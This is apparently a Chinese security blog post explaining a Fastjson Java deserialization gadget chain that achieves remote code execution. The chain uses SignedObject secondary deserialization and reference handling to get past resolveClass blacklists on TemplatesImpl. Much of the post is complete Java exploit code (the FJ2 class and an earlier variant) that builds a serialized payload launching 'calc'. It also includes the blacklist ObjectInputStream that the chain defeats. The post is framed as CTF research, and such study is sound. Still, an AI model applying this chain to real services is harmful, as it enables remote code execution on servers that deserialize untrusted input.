FastJson结合二次反序列化绕过黑名单
本文首发于先知社区。
省流
该利用链可以在fastjson
任意版本实现RCE
,并且借助SignedObject
绕过第一层安全的resolveClass
对于TemplatesImpl
类的检查。
条件如下:
ObjectInputStream
(反序列化)输入数据可控- 引入
Fastjson
依赖
FastJson之不安全的反序列化利用
说起来还是AliyunCTF
那道ezbean
的非预期,很多师傅使用FastJson#toString
方法触发TemplatesImpl#getOutputProperties
实现RCE
。
gadget
BadAttributeValueExpException#readObject
JSONArray#toString
TemplatesImpl#getOutputProperties
FastJson
反序列化并不是通过ObjectInputStream.readObject()
还原对象,而是在反序列化的过程中自动调用类属性的setter/getter
方法,将JSON
字符串还原成对象。
因此从FJ 1.2.49
开始,JSONArray
和JSONObject
开始重写了resolveClass
,过滤了诸如TemplatesImpl
的危险类。而ezbean
那道题使用了一个不安全的ObjectInputStream
进行反序列化。
这也就导致了选手通过引用的数据类型从而不执行resolveClass
以绕过其对危险类的检查,导致了非预期。
exp
List<Object> list = new ArrayList<>();
TemplatesImpl templates = GadgetUtils.createTemplatesImpl("calc");
list.add(templates); //第一次添加为了使得templates变成引用类型从而绕过JsonArray的resolveClass黑名单检测
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates); //此时在hash表中查到了映射,因此接下来以引用形式输出
BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
ReflectionUtils.setFieldValue(bd,"val",jsonArray);
list.add(bd);
//字节
byte[] payload = SerializerUtils.serialize(list);
ObjectInputStream ois = new MyInputStream(new ByteArrayInputStream(payload));
ois.readObject();
问题
似乎这样的方式只能在目标环境使用了一个不安全的ObjectInputStream
的场景下应用。
因为templates
是以引用的形式来绕过FJ
的resolveClass
方法的黑名单检查,因此在(见exp
第三行)必须把templates
添加到list
中,所以如果重写了ObjectInputStream
过滤templates
,这样的方法就失效了。
public class MyInputStream extends ObjectInputStream {
private final List<Object> BLACKLIST = Arrays.asList("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter", "com.sun.syndication.feed.impl.ObjectBean", "import com.sun.syndication.feed.impl.ToStringBean");
public MyInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
protected Class<?> resolveClass(ObjectStreamClass cls) throws ClassNotFoundException, IOException {
if (this.BLACKLIST.contains(cls.getName())) {
throw new InvalidClassException("The class " + cls.getName() + " is on the blacklist");
} else {
return super.resolveClass(cls);
}
}
}
解决方案也很简单,就是通过二次反序列化绕过。
SignedObject
简单介绍下SignedObject
,摘录自Poria师傅博客
当防御者重写了ObjectInputStream
类,并且再resolveClass
方法定义了反序列化黑名单类时,此时就需要通过二次反序列化绕过。
顾名思义,二次反序列化攻击就是在受害服务器进行第一次反序列化的过程中借助某些类的方法进行第二次反序列化。而第二次反序列化是没有ban
恶意类的,通过这种方法间接的实现bypass
黑名单。
阅读该类注释可知这个类可以存放一个序列化数据并且有一个属于该数据的签名。
More specifically, a SignedObject contains another Serializable object, the (to-be-)signed object and its signature.
再观察getObject
方法,可以看到其中进行了一次反序列化,这完美符合了我们的要求,并且该类是jdk
内置类。
事实上,该类主要用于加密反序列化数据,防止攻击者截获数据包从而解析序列化数据(竟然有些讽刺)。
/**
* Retrieves the encapsulated object.
* The encapsulated object is de-serialized before it is returned.
*
* @return the encapsulated object.
*
* @exception IOException if an error occurs during de-serialization
* @exception ClassNotFoundException if an error occurs during
* de-serialization
*/
public Object getObject()
throws IOException, ClassNotFoundException
{
// creating a stream pipe-line, from b to a
ByteArrayInputStream b = new ByteArrayInputStream(this.content);
ObjectInput a = new ObjectInputStream(b);
Object obj = a.readObject();
b.close();
a.close();
return obj;
}
而要反序列化的this.content
可以通过构造方法赋值,并且该方法是一个相对容易触发的getter
方法,所以问题转化为了如何触发SignedObject#getObject。
解决方案
最好找只依赖于FastJson
的包的gadget
,使得攻击面最大。
而正好JsonObject#toString
可以触发任意getter
方法,而toString
又可以通过BadAttributeValueExpException#readObject
调用,因此整条链子就通了。
gadget
* 绕过第一次的TemplatesImpl黑名单检查
BadAttributeValueExpException#readObject
JSONOBJECT#toString
SignedObject#getObject
* 二次反序列化
* 引用绕过JSON自带resolveClass的黑名单检查
BadAttributeValueExpException#readObject
JSONArray#toString
TemplatesImpl#getOutputProperties
TemplatesImpl#newTransformer
TemplatesImpl#getTransletInstance
TemplatesImpl#defineTransletClasses
TemplatesImpl#defineClass
exp
package gadget.fastjson;
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import gadget.doubleunser.MyInputStream;
import util.GadgetUtils;
import util.ReflectionUtils;
import util.SerializerUtils;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.ArrayList;
import java.util.List;
public class FJ2 {
public static void main(String[] args) throws Exception{
List<Object> list = new ArrayList<>();
TemplatesImpl templates = GadgetUtils.createTemplatesImpl("calc");
list.add(templates); //第一次添加为了使得templates变成引用类型从而绕过JsonArray的resolveClass黑名单检测
JSONArray jsonArray2 = new JSONArray();
jsonArray2.add(templates); //此时在handles这个hash表中查到了映射,后续则会以引用形式输出
BadAttributeValueExpException bd2 = new BadAttributeValueExpException(null);
ReflectionUtils.setFieldValue(bd2,"val",jsonArray2);
list.add(bd2);
//二次反序列化
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject((Serializable) list, kp.getPrivate(), Signature.getInstance("DSA"));
//触发SignedObject#getObject
JSONArray jsonArray1 = new JSONArray();
jsonArray1.add(signedObject);
BadAttributeValueExpException bd1 = new BadAttributeValueExpException(null);
ReflectionUtils.setFieldValue(bd1,"val",jsonArray1);
//验证
byte[] payload = SerializerUtils.serialize(bd1);
ObjectInputStream ois = new MyInputStream(new ByteArrayInputStream(payload)); //再套一层inputstream检查TemplatesImpl,不可用
ois.readObject();
}
}
调试
调试部分可见先知社区,toString
触发getter
那里还是没太调试明白,到时候把fastjson
整理完发到另一篇博客上。
结语
fastjson
的利用往往通过parseObject
触发反序列化,此次探索是在readObject
反序列化场景下进行。真实场景下不太了解,emm可能在ctf
中可以通过这条链子打个非预期吧。
由于笔者水平不高,希望师傅们多多指正。